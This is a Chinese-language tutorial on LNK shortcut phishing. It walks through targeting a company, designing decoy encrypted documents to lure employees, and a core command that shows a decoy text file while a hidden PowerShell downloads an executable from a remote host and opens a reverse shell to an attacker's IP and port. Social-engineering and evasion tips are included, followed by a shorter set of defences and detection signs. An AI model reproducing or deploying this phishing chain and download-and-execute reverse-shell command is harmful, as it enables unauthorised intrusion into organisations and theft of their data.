LNK钓鱼攻击技术详解

一、攻击概述

LNK钓鱼攻击是一种利用Windows快捷方式文件(.lnk)执行恶意代码的攻击方式。攻击者通常会结合诱饵文档(如加密的Word/PDF文件)和LNK文件进行组合攻击，诱骗目标用户点击执行恶意代码。

二、攻击场景

• 目标：获取A集团的资料信息
• 限制条件：
  • 目标Web防护严密
  • 已收集部分员工邮箱
  • 只能通过钓鱼方式攻击

三、攻击工具准备

1. Ladon：某国开源渗透测试工具
2. 诱饵文档：加密的"新冠疫苗相关"文档(根据目标性质选择主题)
3. LNK文件：用于释放和执行Ladon的恶意快捷方式

四、诱饵文档制作要点

1. 主题选择：

   • 针对特定公司：根据公司业务性质定制
   • 广撒网攻击：选择热点事件(如示例中的"核酸检测返乡政策")

2. 文档设计：

   • 不设置密码提示(避免引起怀疑)
   • 利用用户惯性思维(看到加密文档会自然寻找密码)

五、LNK文件核心技术

核心代码示例：

cmd.exe /c 
(echo "hello" >D:\test\1\password.txt & start /b D:\test\1\password.txt) & 
(powershell.exe -nop -w hidden iwr -outf D:\test\1\nc.exe http://vps/download/a.exe & 
D:\test\1\nc.exe ReverseTcp 192.168.12.201 4444 nc)

代码解析：

1. 第一部分：

   • 创建并写入password.txt到D:\test\1\目录
   • 使用start /b命令打开该文件(迷惑用户)

2. 第二部分：

   • 使用PowerShell下载恶意程序(a.exe)并保存为nc.exe
   • 执行nc.exe建立反向TCP连接(VPS IP:192.168.12.201 端口:4444)

3. 技术要点：

   • -nop: 不加载PowerShell配置文件
   • -w hidden: 隐藏窗口
   • iwr: PowerShell的Invoke-WebRequest别名(用于下载文件)

六、攻击流程

1. 将诱饵文档和LNK文件打包发送给目标
2. 目标尝试打开加密文档，寻找密码
3. 点击LNK文件后：
   • 显示password.txt(迷惑用户)
   • 后台下载并执行恶意程序
   • 建立反向shell连接

七、防御措施

1. 用户教育：

   • 警惕不明来源的加密文档
   • 不要随意点击附件中的快捷方式文件

2. 技术防护：

   • 禁用LNK文件的自动执行
   • 限制PowerShell的执行权限
   • 监控异常网络连接(特别是到可疑IP的反向连接)

3. 系统加固：

   • 启用AppLocker限制可疑路径执行
   • 部署端点检测与响应(EDR)解决方案

八、检测方法

1. 监控异常进程创建(cmd.exe -> powershell.exe)
2. 检测隐藏窗口的PowerShell实例
3. 监控从文档目录发起的网络连接
4. 检查异常LNK文件属性(如不寻常的命令行参数)

九、攻击演变

现代LNK攻击可能使用更隐蔽的技术：

• 使用HTTPS下载规避网络检测
• 使用合法云存储服务托管恶意负载
• 结合0day漏洞提升权限
• 使用文件less技术减少磁盘痕迹

十、总结

LNK钓鱼攻击是一种有效的初始访问技术，特别适合针对防护严密的目标。攻击成功依赖于社会工程学技巧和技术规避能力的结合。防御需要多层次的安全措施，包括技术控制、用户教育和持续监控。